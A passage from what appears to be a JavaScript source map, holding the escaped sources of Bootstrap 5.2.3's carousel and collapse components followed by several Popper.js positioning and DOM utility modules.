}\n }\n\n _eventIsPointerPenTouch(event) {\n return this._supportPointerEvents && (event.pointerType === POINTER_TYPE_PEN || event.pointerType === POINTER_TYPE_TOUCH)\n }\n\n // Static\n static isSupported() {\n return 'ontouchstart' in document.documentElement || navigator.maxTouchPoints > 0\n }\n}\n\nexport default Swipe\n","/**\n * --------------------------------------------------------------------------\n * Bootstrap (v5.2.3): carousel.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE)\n * --------------------------------------------------------------------------\n */\n\nimport {\n defineJQueryPlugin,\n getElementFromSelector,\n getNextActiveElement,\n isRTL,\n isVisible,\n reflow,\n triggerTransitionEnd\n} from './util/index'\nimport EventHandler from './dom/event-handler'\nimport Manipulator from './dom/manipulator'\nimport SelectorEngine from './dom/selector-engine'\nimport Swipe from './util/swipe'\nimport BaseComponent from './base-component'\n\n/**\n * Constants\n */\n\nconst NAME = 'carousel'\nconst DATA_KEY = 'bs.carousel'\nconst EVENT_KEY = `.${DATA_KEY}`\nconst DATA_API_KEY = '.data-api'\n\nconst ARROW_LEFT_KEY = 'ArrowLeft'\nconst ARROW_RIGHT_KEY = 'ArrowRight'\nconst TOUCHEVENT_COMPAT_WAIT = 500 // Time for mouse compat events to fire after touch\n\nconst ORDER_NEXT = 'next'\nconst ORDER_PREV = 'prev'\nconst DIRECTION_LEFT = 'left'\nconst DIRECTION_RIGHT = 'right'\n\nconst EVENT_SLIDE = `slide${EVENT_KEY}`\nconst EVENT_SLID = `slid${EVENT_KEY}`\nconst EVENT_KEYDOWN = `keydown${EVENT_KEY}`\nconst EVENT_MOUSEENTER = `mouseenter${EVENT_KEY}`\nconst EVENT_MOUSELEAVE = `mouseleave${EVENT_KEY}`\nconst EVENT_DRAG_START = `dragstart${EVENT_KEY}`\nconst EVENT_LOAD_DATA_API = `load${EVENT_KEY}${DATA_API_KEY}`\nconst EVENT_CLICK_DATA_API = `click${EVENT_KEY}${DATA_API_KEY}`\n\nconst CLASS_NAME_CAROUSEL = 'carousel'\nconst CLASS_NAME_ACTIVE = 'active'\nconst CLASS_NAME_SLIDE = 'slide'\nconst CLASS_NAME_END = 'carousel-item-end'\nconst CLASS_NAME_START = 'carousel-item-start'\nconst CLASS_NAME_NEXT = 'carousel-item-next'\nconst CLASS_NAME_PREV = 'carousel-item-prev'\n\nconst SELECTOR_ACTIVE = '.active'\nconst SELECTOR_ITEM = '.carousel-item'\nconst SELECTOR_ACTIVE_ITEM = SELECTOR_ACTIVE + SELECTOR_ITEM\nconst SELECTOR_ITEM_IMG = '.carousel-item img'\nconst SELECTOR_INDICATORS = '.carousel-indicators'\nconst SELECTOR_DATA_SLIDE = '[data-bs-slide], [data-bs-slide-to]'\nconst SELECTOR_DATA_RIDE = '[data-bs-ride=\"carousel\"]'\n\nconst KEY_TO_DIRECTION = {\n [ARROW_LEFT_KEY]: DIRECTION_RIGHT,\n [ARROW_RIGHT_KEY]: DIRECTION_LEFT\n}\n\nconst Default = {\n interval: 5000,\n keyboard: true,\n pause: 'hover',\n ride: false,\n touch: true,\n wrap: true\n}\n\nconst DefaultType = {\n interval: '(number|boolean)', // TODO:v6 remove boolean support\n keyboard: 'boolean',\n pause: '(string|boolean)',\n ride: '(boolean|string)',\n touch: 'boolean',\n wrap: 'boolean'\n}\n\n/**\n * Class definition\n */\n\nclass Carousel extends BaseComponent {\n constructor(element, config) {\n super(element, config)\n\n this._interval = null\n this._activeElement = null\n this._isSliding = false\n this.touchTimeout = null\n this._swipeHelper = null\n\n this._indicatorsElement = SelectorEngine.findOne(SELECTOR_INDICATORS, this._element)\n this._addEventListeners()\n\n if (this._config.ride === CLASS_NAME_CAROUSEL) {\n this.cycle()\n }\n }\n\n // Getters\n static get Default() {\n return Default\n }\n\n static get DefaultType() {\n return DefaultType\n }\n\n static get NAME() {\n return NAME\n }\n\n // Public\n next() {\n this._slide(ORDER_NEXT)\n }\n\n nextWhenVisible() {\n // FIXME TODO use `document.visibilityState`\n // Don't call next when the page isn't visible\n // or the carousel or its parent isn't visible\n if (!document.hidden && isVisible(this._element)) {\n this.next()\n }\n }\n\n prev() {\n this._slide(ORDER_PREV)\n }\n\n pause() {\n if (this._isSliding) {\n triggerTransitionEnd(this._element)\n }\n\n this._clearInterval()\n }\n\n cycle() {\n this._clearInterval()\n this._updateInterval()\n\n this._interval = setInterval(() => this.nextWhenVisible(), this._config.interval)\n }\n\n _maybeEnableCycle() {\n if (!this._config.ride) {\n return\n }\n\n if (this._isSliding) {\n EventHandler.one(this._element, EVENT_SLID, () => this.cycle())\n return\n }\n\n this.cycle()\n }\n\n to(index) {\n const items = this._getItems()\n if (index > items.length - 1 || index < 0) {\n return\n }\n\n if (this._isSliding) {\n EventHandler.one(this._element, EVENT_SLID, () => this.to(index))\n return\n }\n\n const activeIndex = this._getItemIndex(this._getActive())\n if (activeIndex === index) {\n return\n }\n\n const order = index > activeIndex ? ORDER_NEXT : ORDER_PREV\n\n this._slide(order, items[index])\n }\n\n dispose() {\n if (this._swipeHelper) {\n this._swipeHelper.dispose()\n }\n\n super.dispose()\n }\n\n // Private\n _configAfterMerge(config) {\n config.defaultInterval = config.interval\n return config\n }\n\n _addEventListeners() {\n if (this._config.keyboard) {\n EventHandler.on(this._element, EVENT_KEYDOWN, event => this._keydown(event))\n }\n\n if (this._config.pause === 'hover') {\n EventHandler.on(this._element, EVENT_MOUSEENTER, () => this.pause())\n EventHandler.on(this._element, EVENT_MOUSELEAVE, () => this._maybeEnableCycle())\n }\n\n if (this._config.touch && Swipe.isSupported()) {\n this._addTouchEventListeners()\n }\n }\n\n _addTouchEventListeners() {\n for (const img of SelectorEngine.find(SELECTOR_ITEM_IMG, this._element)) {\n EventHandler.on(img, EVENT_DRAG_START, event => event.preventDefault())\n }\n\n const endCallBack = () => {\n if (this._config.pause !== 'hover') {\n return\n }\n\n // If it's a touch-enabled device, mouseenter/leave are fired as\n // part of the mouse compatibility events on first tap - the carousel\n // would stop cycling until user tapped out of it;\n // here, we listen for touchend, explicitly pause the carousel\n // (as if it's the second time we tap on it, mouseenter compat event\n // is NOT fired) and after a timeout (to allow for mouse compatibility\n // events to fire) we explicitly restart cycling\n\n this.pause()\n if (this.touchTimeout) {\n clearTimeout(this.touchTimeout)\n }\n\n this.touchTimeout = setTimeout(() => this._maybeEnableCycle(), TOUCHEVENT_COMPAT_WAIT + this._config.interval)\n }\n\n const swipeConfig = {\n leftCallback: () => this._slide(this._directionToOrder(DIRECTION_LEFT)),\n rightCallback: () => this._slide(this._directionToOrder(DIRECTION_RIGHT)),\n endCallback: endCallBack\n }\n\n this._swipeHelper = new Swipe(this._element, swipeConfig)\n }\n\n _keydown(event) {\n if (/input|textarea/i.test(event.target.tagName)) {\n return\n }\n\n const direction = KEY_TO_DIRECTION[event.key]\n if (direction) {\n event.preventDefault()\n this._slide(this._directionToOrder(direction))\n }\n }\n\n _getItemIndex(element) {\n return this._getItems().indexOf(element)\n }\n\n _setActiveIndicatorElement(index) {\n if (!this._indicatorsElement) {\n return\n }\n\n const activeIndicator = SelectorEngine.findOne(SELECTOR_ACTIVE, this._indicatorsElement)\n\n activeIndicator.classList.remove(CLASS_NAME_ACTIVE)\n activeIndicator.removeAttribute('aria-current')\n\n const newActiveIndicator = SelectorEngine.findOne(`[data-bs-slide-to=\"${index}\"]`, this._indicatorsElement)\n\n if (newActiveIndicator) {\n newActiveIndicator.classList.add(CLASS_NAME_ACTIVE)\n newActiveIndicator.setAttribute('aria-current', 'true')\n }\n }\n\n _updateInterval() {\n const element = this._activeElement || this._getActive()\n\n if (!element) {\n return\n }\n\n const elementInterval = Number.parseInt(element.getAttribute('data-bs-interval'), 10)\n\n this._config.interval = elementInterval || this._config.defaultInterval\n }\n\n _slide(order, element = null) {\n if (this._isSliding) {\n return\n }\n\n const activeElement = this._getActive()\n const isNext = order === ORDER_NEXT\n const nextElement = element || getNextActiveElement(this._getItems(), activeElement, isNext, this._config.wrap)\n\n if (nextElement === activeElement) {\n return\n }\n\n const nextElementIndex = this._getItemIndex(nextElement)\n\n const triggerEvent = eventName => {\n return EventHandler.trigger(this._element, eventName, {\n relatedTarget: nextElement,\n direction: this._orderToDirection(order),\n from: this._getItemIndex(activeElement),\n to: nextElementIndex\n })\n }\n\n const slideEvent = triggerEvent(EVENT_SLIDE)\n\n if (slideEvent.defaultPrevented) {\n return\n }\n\n if (!activeElement || !nextElement) {\n // Some weirdness is happening, so we bail\n // todo: change tests that use empty divs to avoid this check\n return\n }\n\n const isCycling = Boolean(this._interval)\n this.pause()\n\n this._isSliding = true\n\n this._setActiveIndicatorElement(nextElementIndex)\n this._activeElement = nextElement\n\n const directionalClassName = isNext ? CLASS_NAME_START : CLASS_NAME_END\n const orderClassName = isNext ? CLASS_NAME_NEXT : CLASS_NAME_PREV\n\n nextElement.classList.add(orderClassName)\n\n reflow(nextElement)\n\n activeElement.classList.add(directionalClassName)\n nextElement.classList.add(directionalClassName)\n\n const completeCallBack = () => {\n nextElement.classList.remove(directionalClassName, orderClassName)\n nextElement.classList.add(CLASS_NAME_ACTIVE)\n\n activeElement.classList.remove(CLASS_NAME_ACTIVE, orderClassName, directionalClassName)\n\n this._isSliding = false\n\n triggerEvent(EVENT_SLID)\n }\n\n this._queueCallback(completeCallBack, activeElement, this._isAnimated())\n\n if (isCycling) {\n this.cycle()\n }\n }\n\n _isAnimated() {\n return this._element.classList.contains(CLASS_NAME_SLIDE)\n }\n\n _getActive() {\n return SelectorEngine.findOne(SELECTOR_ACTIVE_ITEM, this._element)\n }\n\n _getItems() {\n return SelectorEngine.find(SELECTOR_ITEM, this._element)\n }\n\n _clearInterval() {\n if (this._interval) {\n clearInterval(this._interval)\n this._interval = null\n }\n }\n\n _directionToOrder(direction) {\n if (isRTL()) {\n return direction === DIRECTION_LEFT ? ORDER_PREV : ORDER_NEXT\n }\n\n return direction === DIRECTION_LEFT ? ORDER_NEXT : ORDER_PREV\n }\n\n _orderToDirection(order) {\n if (isRTL()) {\n return order === ORDER_PREV ? DIRECTION_LEFT : DIRECTION_RIGHT\n }\n\n return order === ORDER_PREV ? DIRECTION_RIGHT : DIRECTION_LEFT\n }\n\n // Static\n static jQueryInterface(config) {\n return this.each(function () {\n const data = Carousel.getOrCreateInstance(this, config)\n\n if (typeof config === 'number') {\n data.to(config)\n return\n }\n\n if (typeof config === 'string') {\n if (data[config] === undefined || config.startsWith('_') || config === 'constructor') {\n throw new TypeError(`No method named \"${config}\"`)\n }\n\n data[config]()\n }\n })\n }\n}\n\n/**\n * Data API implementation\n */\n\nEventHandler.on(document, EVENT_CLICK_DATA_API, SELECTOR_DATA_SLIDE, function (event) {\n const target = getElementFromSelector(this)\n\n if (!target || !target.classList.contains(CLASS_NAME_CAROUSEL)) {\n return\n }\n\n event.preventDefault()\n\n const carousel = Carousel.getOrCreateInstance(target)\n const slideIndex = this.getAttribute('data-bs-slide-to')\n\n if (slideIndex) {\n carousel.to(slideIndex)\n carousel._maybeEnableCycle()\n return\n }\n\n if (Manipulator.getDataAttribute(this, 'slide') === 'next') {\n carousel.next()\n carousel._maybeEnableCycle()\n return\n }\n\n carousel.prev()\n carousel._maybeEnableCycle()\n})\n\nEventHandler.on(window, EVENT_LOAD_DATA_API, () => {\n const carousels = SelectorEngine.find(SELECTOR_DATA_RIDE)\n\n for (const carousel of carousels) {\n Carousel.getOrCreateInstance(carousel)\n }\n})\n\n/**\n * jQuery\n */\n\ndefineJQueryPlugin(Carousel)\n\nexport default Carousel\n","/**\n * --------------------------------------------------------------------------\n * Bootstrap (v5.2.3): collapse.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE)\n * --------------------------------------------------------------------------\n */\n\nimport {\n defineJQueryPlugin,\n getElement,\n getElementFromSelector,\n getSelectorFromElement,\n reflow\n} from './util/index'\nimport EventHandler from './dom/event-handler'\nimport SelectorEngine from './dom/selector-engine'\nimport BaseComponent from './base-component'\n\n/**\n * Constants\n */\n\nconst NAME = 'collapse'\nconst DATA_KEY = 'bs.collapse'\nconst EVENT_KEY = `.${DATA_KEY}`\nconst DATA_API_KEY = '.data-api'\n\nconst EVENT_SHOW = `show${EVENT_KEY}`\nconst EVENT_SHOWN = `shown${EVENT_KEY}`\nconst EVENT_HIDE = `hide${EVENT_KEY}`\nconst EVENT_HIDDEN = `hidden${EVENT_KEY}`\nconst EVENT_CLICK_DATA_API = `click${EVENT_KEY}${DATA_API_KEY}`\n\nconst CLASS_NAME_SHOW = 'show'\nconst CLASS_NAME_COLLAPSE = 'collapse'\nconst CLASS_NAME_COLLAPSING = 'collapsing'\nconst CLASS_NAME_COLLAPSED = 'collapsed'\nconst CLASS_NAME_DEEPER_CHILDREN = `:scope .${CLASS_NAME_COLLAPSE} .${CLASS_NAME_COLLAPSE}`\nconst CLASS_NAME_HORIZONTAL = 'collapse-horizontal'\n\nconst WIDTH = 'width'\nconst HEIGHT = 'height'\n\nconst SELECTOR_ACTIVES = '.collapse.show, .collapse.collapsing'\nconst SELECTOR_DATA_TOGGLE = '[data-bs-toggle=\"collapse\"]'\n\nconst Default = {\n parent: null,\n toggle: true\n}\n\nconst DefaultType = {\n parent: '(null|element)',\n toggle: 'boolean'\n}\n\n/**\n * Class definition\n */\n\nclass Collapse extends BaseComponent {\n constructor(element, config) {\n super(element, config)\n\n this._isTransitioning = false\n this._triggerArray = []\n\n const toggleList = SelectorEngine.find(SELECTOR_DATA_TOGGLE)\n\n for (const elem of toggleList) {\n const selector = getSelectorFromElement(elem)\n const filterElement = SelectorEngine.find(selector)\n .filter(foundElement => foundElement === this._element)\n\n if (selector !== null && filterElement.length) {\n this._triggerArray.push(elem)\n }\n }\n\n this._initializeChildren()\n\n if (!this._config.parent) {\n this._addAriaAndCollapsedClass(this._triggerArray, this._isShown())\n }\n\n if (this._config.toggle) {\n this.toggle()\n }\n }\n\n // Getters\n static get Default() {\n return Default\n }\n\n static get DefaultType() {\n return DefaultType\n }\n\n static get NAME() {\n return NAME\n }\n\n // Public\n toggle() {\n if (this._isShown()) {\n this.hide()\n } else {\n this.show()\n }\n }\n\n show() {\n if (this._isTransitioning || this._isShown()) {\n return\n }\n\n let activeChildren = []\n\n // find active children\n if (this._config.parent) {\n activeChildren = this._getFirstLevelChildren(SELECTOR_ACTIVES)\n .filter(element => element !== this._element)\n .map(element => Collapse.getOrCreateInstance(element, { toggle: false }))\n }\n\n if (activeChildren.length && activeChildren[0]._isTransitioning) {\n return\n }\n\n const startEvent = EventHandler.trigger(this._element, EVENT_SHOW)\n if (startEvent.defaultPrevented) {\n return\n }\n\n for (const activeInstance of activeChildren) {\n activeInstance.hide()\n }\n\n const dimension = this._getDimension()\n\n this._element.classList.remove(CLASS_NAME_COLLAPSE)\n this._element.classList.add(CLASS_NAME_COLLAPSING)\n\n this._element.style[dimension] = 0\n\n this._addAriaAndCollapsedClass(this._triggerArray, true)\n this._isTransitioning = true\n\n const complete = () => {\n this._isTransitioning = false\n\n this._element.classList.remove(CLASS_NAME_COLLAPSING)\n this._element.classList.add(CLASS_NAME_COLLAPSE, CLASS_NAME_SHOW)\n\n this._element.style[dimension] = ''\n\n EventHandler.trigger(this._element, EVENT_SHOWN)\n }\n\n const capitalizedDimension = dimension[0].toUpperCase() + dimension.slice(1)\n const scrollSize = `scroll${capitalizedDimension}`\n\n this._queueCallback(complete, this._element, true)\n this._element.style[dimension] = `${this._element[scrollSize]}px`\n }\n\n hide() {\n if (this._isTransitioning || !this._isShown()) {\n return\n }\n\n const startEvent = EventHandler.trigger(this._element, EVENT_HIDE)\n if (startEvent.defaultPrevented) {\n return\n }\n\n const dimension = this._getDimension()\n\n this._element.style[dimension] = `${this._element.getBoundingClientRect()[dimension]}px`\n\n reflow(this._element)\n\n this._element.classList.add(CLASS_NAME_COLLAPSING)\n this._element.classList.remove(CLASS_NAME_COLLAPSE, CLASS_NAME_SHOW)\n\n for (const trigger of this._triggerArray) {\n const element = getElementFromSelector(trigger)\n\n if (element && !this._isShown(element)) {\n this._addAriaAndCollapsedClass([trigger], false)\n }\n }\n\n this._isTransitioning = true\n\n const complete = () => {\n this._isTransitioning = false\n this._element.classList.remove(CLASS_NAME_COLLAPSING)\n this._element.classList.add(CLASS_NAME_COLLAPSE)\n EventHandler.trigger(this._element, EVENT_HIDDEN)\n }\n\n this._element.style[dimension] = ''\n\n this._queueCallback(complete, this._element, true)\n }\n\n _isShown(element = this._element) {\n return element.classList.contains(CLASS_NAME_SHOW)\n }\n\n // Private\n _configAfterMerge(config) {\n config.toggle = Boolean(config.toggle) // Coerce string values\n config.parent = getElement(config.parent)\n return config\n }\n\n _getDimension() {\n return this._element.classList.contains(CLASS_NAME_HORIZONTAL) ? WIDTH : HEIGHT\n }\n\n _initializeChildren() {\n if (!this._config.parent) {\n return\n }\n\n const children = this._getFirstLevelChildren(SELECTOR_DATA_TOGGLE)\n\n for (const element of children) {\n const selected = getElementFromSelector(element)\n\n if (selected) {\n this._addAriaAndCollapsedClass([element], this._isShown(selected))\n }\n }\n }\n\n _getFirstLevelChildren(selector) {\n const children = SelectorEngine.find(CLASS_NAME_DEEPER_CHILDREN, this._config.parent)\n // remove children if greater depth\n return SelectorEngine.find(selector, this._config.parent).filter(element => !children.includes(element))\n }\n\n _addAriaAndCollapsedClass(triggerArray, isOpen) {\n if (!triggerArray.length) {\n return\n }\n\n for (const element of triggerArray) {\n element.classList.toggle(CLASS_NAME_COLLAPSED, !isOpen)\n element.setAttribute('aria-expanded', isOpen)\n }\n }\n\n // Static\n static jQueryInterface(config) {\n const _config = {}\n if (typeof config === 'string' && /show|hide/.test(config)) {\n _config.toggle = false\n }\n\n return this.each(function () {\n const data = Collapse.getOrCreateInstance(this, _config)\n\n if (typeof config === 'string') {\n if (typeof data[config] === 'undefined') {\n throw new TypeError(`No method named \"${config}\"`)\n }\n\n data[config]()\n }\n })\n }\n}\n\n/**\n * Data API implementation\n */\n\nEventHandler.on(document, EVENT_CLICK_DATA_API, SELECTOR_DATA_TOGGLE, function (event) {\n // preventDefault only for elements (which change the URL) not inside the collapsible element\n if (event.target.tagName === 'A' || (event.delegateTarget && event.delegateTarget.tagName === 'A')) {\n event.preventDefault()\n }\n\n const selector = getSelectorFromElement(this)\n const selectorElements = SelectorEngine.find(selector)\n\n for (const element of selectorElements) {\n Collapse.getOrCreateInstance(element, { toggle: false }).toggle()\n }\n})\n\n/**\n * jQuery\n */\n\ndefineJQueryPlugin(Collapse)\n\nexport default Collapse\n","export var top = 'top';\nexport var bottom = 'bottom';\nexport var right = 'right';\nexport var left = 'left';\nexport var auto = 'auto';\nexport var basePlacements = [top, bottom, right, left];\nexport var start = 'start';\nexport var end = 'end';\nexport var clippingParents = 'clippingParents';\nexport var viewport = 'viewport';\nexport var popper = 'popper';\nexport var reference = 'reference';\nexport var variationPlacements = /*#__PURE__*/basePlacements.reduce(function (acc, placement) {\n return acc.concat([placement + \"-\" + start, placement + \"-\" + end]);\n}, []);\nexport var placements = /*#__PURE__*/[].concat(basePlacements, [auto]).reduce(function (acc, placement) {\n return acc.concat([placement, placement + \"-\" + start, placement + \"-\" + end]);\n}, []); // modifiers that need to read the DOM\n\nexport var beforeRead = 'beforeRead';\nexport var read = 'read';\nexport var afterRead = 'afterRead'; // pure-logic modifiers\n\nexport var beforeMain = 'beforeMain';\nexport var main = 'main';\nexport var afterMain = 'afterMain'; // modifier with the purpose to write to the DOM (or write into a framework state)\n\nexport var beforeWrite = 'beforeWrite';\nexport var write = 'write';\nexport var afterWrite = 'afterWrite';\nexport var modifierPhases = [beforeRead, read, afterRead, beforeMain, main, afterMain, beforeWrite, write, afterWrite];","export default function getNodeName(element) {\n return element ? (element.nodeName || '').toLowerCase() : null;\n}","export default function getWindow(node) {\n if (node == null) {\n return window;\n }\n\n if (node.toString() !== '[object Window]') {\n var ownerDocument = node.ownerDocument;\n return ownerDocument ? ownerDocument.defaultView || window : window;\n }\n\n return node;\n}","import getWindow from \"./getWindow.js\";\n\nfunction isElement(node) {\n var OwnElement = getWindow(node).Element;\n return node instanceof OwnElement || node instanceof Element;\n}\n\nfunction isHTMLElement(node) {\n var OwnElement = getWindow(node).HTMLElement;\n return node instanceof OwnElement || node instanceof HTMLElement;\n}\n\nfunction isShadowRoot(node) {\n // IE 11 has no ShadowRoot\n if (typeof ShadowRoot === 'undefined') {\n return false;\n }\n\n var OwnElement = getWindow(node).ShadowRoot;\n return node instanceof OwnElement || node instanceof ShadowRoot;\n}\n\nexport { isElement, isHTMLElement, isShadowRoot };","import getNodeName from \"../dom-utils/getNodeName.js\";\nimport { isHTMLElement } from \"../dom-utils/instanceOf.js\"; // This modifier takes the styles prepared by the `computeStyles` modifier\n// and applies them to the HTMLElements such as popper and arrow\n\nfunction applyStyles(_ref) {\n var state = _ref.state;\n Object.keys(state.elements).forEach(function (name) {\n var style = state.styles[name] || {};\n var attributes = state.attributes[name] || {};\n var element = state.elements[name]; // arrow is optional + virtual elements\n\n if (!isHTMLElement(element) || !getNodeName(element)) {\n return;\n } // Flow doesn't support to extend this property, but it's the most\n // effective way to apply styles to an HTMLElement\n // $FlowFixMe[cannot-write]\n\n\n Object.assign(element.style, style);\n Object.keys(attributes).forEach(function (name) {\n var value = attributes[name];\n\n if (value === false) {\n element.removeAttribute(name);\n } else {\n element.setAttribute(name, value === true ? '' : value);\n }\n });\n });\n}\n\nfunction effect(_ref2) {\n var state = _ref2.state;\n var initialStyles = {\n popper: {\n position: state.options.strategy,\n left: '0',\n top: '0',\n margin: '0'\n },\n arrow: {\n position: 'absolute'\n },\n reference: {}\n };\n Object.assign(state.elements.popper.style, initialStyles.popper);\n state.styles = initialStyles;\n\n if (state.elements.arrow) {\n Object.assign(state.elements.arrow.style, initialStyles.arrow);\n }\n\n return function () {\n Object.keys(state.elements).forEach(function (name) {\n var element = state.elements[name];\n var attributes = state.attributes[name] || {};\n var styleProperties = Object.keys(state.styles.hasOwnProperty(name) ? state.styles[name] : initialStyles[name]); // Set all values to an empty string to unset them\n\n var style = styleProperties.reduce(function (style, property) {\n style[property] = '';\n return style;\n }, {}); // arrow is optional + virtual elements\n\n if (!isHTMLElement(element) || !getNodeName(element)) {\n return;\n }\n\n Object.assign(element.style, style);\n Object.keys(attributes).forEach(function (attribute) {\n element.removeAttribute(attribute);\n });\n });\n };\n} // eslint-disable-next-line import/no-unused-modules\n\n\nexport default {\n name: 'applyStyles',\n enabled: true,\n phase: 'write',\n fn: applyStyles,\n effect: effect,\n requires: ['computeStyles']\n};","import { auto } from \"../enums.js\";\nexport default function getBasePlacement(placement) {\n return placement.split('-')[0];\n}","export var max = Math.max;\nexport var min = Math.min;\nexport var round = Math.round;","export default function getUAString() {\n var uaData = navigator.userAgentData;\n\n if (uaData != null && uaData.brands) {\n return uaData.brands.map(function (item) {\n return item.brand + \"/\" + item.version;\n }).join(' ');\n }\n\n return navigator.userAgent;\n}","import getUAString from \"../utils/userAgent.js\";\nexport default function isLayoutViewport() {\n return !/^((?!chrome|android).)*safari/i.test(getUAString());\n}","import { isElement, isHTMLElement } from \"./instanceOf.js\";\nimport { round } from \"../utils/math.js\";\nimport getWindow from \"./getWindow.js\";\nimport isLayoutViewport from \"./isLayoutViewport.js\";\nexport default function getBoundingClientRect(element, includeScale, isFixedStrategy) {\n if (includeScale === void 0) {\n includeScale = false;\n }\n\n if (isFixedStrategy === void 0) {\n isFixedStrategy = false;\n }\n\n var clientRect = element.getBoundingClientRect();\n var scaleX = 1;\n var scaleY = 1;\n\n if (includeScale && isHTMLElement(element)) {\n scaleX = element.offsetWidth > 0 ? round(clientRect.width) / element.offsetWidth || 1 : 1;\n scaleY = element.offsetHeight > 0 ? round(clientRect.height) / element.offsetHeight || 1 : 1;\n }\n\n var _ref = isElement(element) ? getWindow(element) : window,\n visualViewport = _ref.visualViewport;\n\n var addVisualOffsets = !isLayoutViewport() && isFixedStrategy;\n var x = (clientRect.left + (addVisualOffsets && visualViewport ? visualViewport.offsetLeft : 0)) / scaleX;\n var y = (clientRect.top + (addVisualOffsets && visualViewport ? visualViewport.offsetTop : 0)) / scaleY;\n var width = clientRect.width / scaleX;\n var height = clientRect.height / scaleY;\n return {\n width: width,\n height: height,\n top: y,\n right: x + width,\n bottom: y + height,\n left: x,\n x: x,\n y: y\n };\n}","import getBoundingClientRect from \"./getBoundingClientRect.js\"; // Returns the layout rect of an element relative to its offsetParent. Layout\n// means it doesn't take into account transforms.\n\nexport default function getLayoutRect(element) {\n var clientRect = getBoundingClientRect(element); // Use the clientRect sizes if it's not been transformed.\n // Fixes https://github.com/popperjs/popper-core/issues/1223\n\n var width = element.offsetWidth;\n var height = element.offsetHeight;\n\n if (Math.abs(clientRect.width - width) <= 1) {\n width = clientRect.width;\n }\n\n if (Math.abs(clientRect.height - height) <= 1) {\n height = clientRect.height;\n }\n\n return {\n x: element.offsetLeft,\n y: element.offsetTop,\n width: width,\n height: height\n };\n}","import { isShadowRoot } from \"./instanceOf.js\";\nexport default function contains(parent, child) {\n var rootNode = child.getRootNode && child.getRootNode(); // First, attempt with faster native method\n\n if (parent.contains(child)) {\n return true;\n } // then fallback to custom implementation with Shadow DOM support\n else if (rootNode && isShadowRoot(rootNode)) {\n var next = child;\n\n do {\n if (next && parent.isSameNode(next)) {\n return true;\n } // $FlowFixMe[prop-missing]: need a better way to handle this...\n\n\n next = next.parentNode || next.host;\n } while (next);\n } // Give up, the result is false\n\n\n return false;\n}","import getWindow from \"./getWindow.js\";\nexport default function getComputedStyle(element) {\n return getWindow(element).getComputedStyle(element);\n}","import getNodeName from \"./getNodeName.js\";\nexport default function isTableElement(element) {\n return ['table', 'td', 'th'].indexOf(getNodeName(element)) >= 0;\n}","import { isElement } from \"./instanceOf.js\";\nexport default function getDocumentElement(element) {\n // $FlowFixMe[incompatible-return]: assume body is always available\n return ((isElement(element) ? element.ownerDocument : // $FlowFixMe[prop-missing]\n element.document) || window.document).documentElement;\n}","import getNodeName from \"./getNodeName.js\";\nimport getDocumentElement from \"./getDocumentElement.js\";\nimport { isShadowRoot } from \"./instanceOf.js\";\nexport default function getParentNode(element) {\n if (getNodeName(element) === 'html') {\n return element;\n }\n\n return (// this is a quicker (but less type safe) way to save quite some bytes from the bundle\n // $FlowFixMe[incompatible-return]\n // $FlowFixMe[prop-missing]\n element.assignedSlot || // step into the shadow DOM of the parent of a slotted node\n element.parentNode || ( // DOM Element detected\n isShadowRoot(element) ? element.host : null) || // ShadowRoot detected\n // $FlowFixMe[incompatible-call]: HTMLElement is a Node\n getDocumentElement(element) // fallback\n\n );\n}","import getWindow from \"./getWindow.js\";\nimport getNodeName from \"./getNodeName.js\";\nimport getComputedStyle from \"./getComputedStyle.js\";\nimport { isHTMLElement, isShadowRoot } from \"./instanceOf.js\";\nimport isTableElement from \"./isTableElement.js\";\nimport getParentNode from \"./getParentNode.js\";\nimport getUAString from \"../utils/userAgent.js\";\n\nfunction getTrueOffsetParent(element) {\n if (!isHTMLElement(element) || // https://github.com/popperjs/popper-core/issues/837\n getComputedStyle(element).position === 'fixed') {\n return null;\n }\n\n return element.offsetParent;\n} // `.offsetParent` reports `null` for fixed elements, while absolute elements\n// return the containing block\n\n\nfunction getContainingBlock(element) {\n var isFirefox = /firefox/i.test(getUAString());\n var isIE = /Trident/i.test(getUAString());\n\n if (isIE && isHTMLElement(element)) {\n // In IE 9, 10 and 11 fixed elements containing block is always established by the viewport\n var elementCss = getComputedStyle(element);\n\n if (elementCss.position === 'fixed') {\n return null;\n }\n }\n\n var currentNode = getParentNode(element);\n\n if (isShadowRoot(currentNode)) {\n currentNode = currentNode.host;\n }\n\n while (isHTMLElement(currentNode) && ['html', 'body'].indexOf(getNodeName(currentNode)) < 0) {\n var css = getComputedStyle(currentNode); // This is non-exhaustive but covers the most common CSS properties that\n // create a containing block.\n // https://developer.mozilla.org/en-US/docs/Web/CSS/Containing_block#identifying_the_containing_block\n\n if (css.transform !== 'none' || css.perspective !== 'none' || css.contain === 'paint' || ['transform', 'perspective'].indexOf(css.willChange) !== -1 || isFirefox && css.willChange === 'filter' || isFirefox && css.filter && css.filter !== 'none') {\n return currentNode;\n } else {\n currentNode = currentNode.parentNode;\n }\n }\n\n return null;\n} // Gets the closest ancestor positioned element. Handles some edge cases,\n// such as table ancestors and cross browser bugs.\n\n\nexport default function getOffsetParent(element) {\n var window = getWindow(element);\n var offsetParent = getTrueOffsetParent(element);\n\n while (offsetParent && isTableElement(offsetParent) && getComputedStyle(offsetParent).position === 'static') {\n offsetParent = getTrueOffsetParent(offsetParent);\n }\n\n if (offsetParent && (getNodeName(offsetParent) === 'html' || getNodeName(offsetParent) === 'body' && getComputedStyle(offsetParent).position === 'static')) {\n return window;\n }\n\n return offsetParent || getContainingBlock(element) || window;\n}","export default function getMainAxisFromPlacement(placement) {\n return ['top', 'bottom'].indexOf(placement) >= 0 ? 'x' : 'y';\n}","import { max as mathMax, min as mathMin } from \"./math.js\";\nexport function within(min, value, max) {\n return mathMax(min, mathMin(value, max));\n}\nexport function withinMaxClamp(min, value, max) {\n var v = within(min, value, max);\n return v > max ? max : v;\n}","import getFreshSideObject from \"./getFreshSideObject.js\";\nexport default function mergePaddingObject(paddingObject) {\n return Object.assign({}, getFreshSideObject(), paddingObject);\n}","export default function getFreshSideObject() {\n return {\n top: 0,\n right: 0,\n bottom: 0,\n left: 0\n };\n}","export default function expandToHashMap(value, keys) {\n return keys.reduce(function (hashMap, key) {\n hashMap[key] = value;\n return hashMap;\n }, {});\n}","import getBasePlacement from \"../utils/getBasePlacement.js\";\nimport getLayoutRect from \"../dom-utils/getLayoutRect.js\";\nimport contains from \"../dom-utils/contains.js\";\nimport getOffsetParent from \"../dom-utils/getOffsetParent.js\";\nimport 